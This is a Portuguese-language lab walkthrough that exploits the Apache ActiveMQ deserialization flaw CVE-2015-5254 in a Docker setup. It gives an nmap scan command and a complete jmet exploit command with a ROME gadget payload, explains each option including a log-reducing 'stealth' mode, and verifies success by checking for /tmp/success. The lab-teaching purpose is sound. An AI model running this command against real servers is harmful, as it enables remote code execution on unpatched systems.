
Guia de exploração passo a passo para a vulnerabilidade de desserialização CVE-2015-5254 do Apache ActiveMQ usando jmet, com configuração de laboratório baseado em Docker e verificação.
A vulnerabilidade CVE-2015-5254 é uma falha de segurança no Apache ActiveMQ, um servidor de mensagens open source amplamente utilizado para comunicação entre aplicações. Essa vulnerabilidade afeta as versões do ActiveMQ até 5.13.0 e reside na falta de filtragem nos dados de entrada JMS ObjectMessage enviados.
Varredura da rede: nmap -p 61616 -Pn -T5 -n -sC -sV 172.17.0.1

Iniciamos o ActiveMQ 2015 através de sua pasta baixada com docker:

Verificamos a versão do ActiveMQ:

Trata-se da versão 5.11.1
Exploração:
Para essa vulnerabilidade, utilizaremos o comando:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 172.17.0.1 61616
Este comando executa uma tentativa de exploração da vulnerabilidade CVE-2015-5254 do Apache ActiveMQ usando a ferramenta jmet. Segue uma decodificação de cada opção do comando:
java -jar jmet-0.1.0-all.jar : Inicia a ferramenta jmet (Java Message Exploitation Tool) usando o arquivo JAR autônomo (jmet-0.1.0-all.jar).
-Q event : Especifica a "fila" ou fila de espera alvo no ActiveMQ, nomeada aqui como "event". A ferramenta enviará a mensagem maliciosa através desta fila.
-I ActiveMQ : Indica que o alvo é um servidor Apache ActiveMQ.
-s : Inicia a exploração em modo "stealth" (furtivo), o que pode, às vezes, minimizar os logs ou avisos gerados no alvo.
-Y "touch /tmp/success" : Indica a carga útil maliciosa que será executada no servidor alvo em caso de sucesso. Neste caso, o comando touch /tmp/success cria um arquivo chamado success na pasta /tmp para provar que a exploração funcionou.
-Yp ROME : Utiliza o payload "ROME" para tentar explorar a vulnerabilidade (ROME é aqui um tipo específico de carga útil suportado pela ferramenta para ActiveMQ).
172.17.0.1 61616 : Especifica o endereço IP (172.17.0.1) e a porta (61616) do servidor Apache ActiveMQ alvo.
Em resumo Este comando tenta explorar uma falha de desserialização no Apache ActiveMQ injetando uma mensagem maliciosa na fila "event" para executar um comando remoto. Se a exploração for bem-sucedida, o servidor ActiveMQ alvo executa o comando touch /tmp/success, o que é um indicador de uma exploração bem-sucedida (criação de um arquivo). Basicamente, queremos infiltrar um arquivo chamado success no sistema de arquivos do servidor ActiveMQ, especificamente em /tmp/.

Observamos que o exploit deu certo !!!
Temos a seguinte mensagem de detecção no Apache ActiveMQ:

Clicamos na mensagem:

Digitamos o conjunto dos seguintes comandos:
docker ps -a Para saber o contêiner do ActiveMQ em execução, vemos o contêiner 19ab278527c7. Fazemos: docker exec -it 19ab278527c7 /bin/bash Para nos autenticarmos no servidor ActiveMQ através de seu contêiner.
Constatamos que conseguimos a autenticação e depois verificamos a criação do arquivo success em /tmp/:

Fim do exploit !!!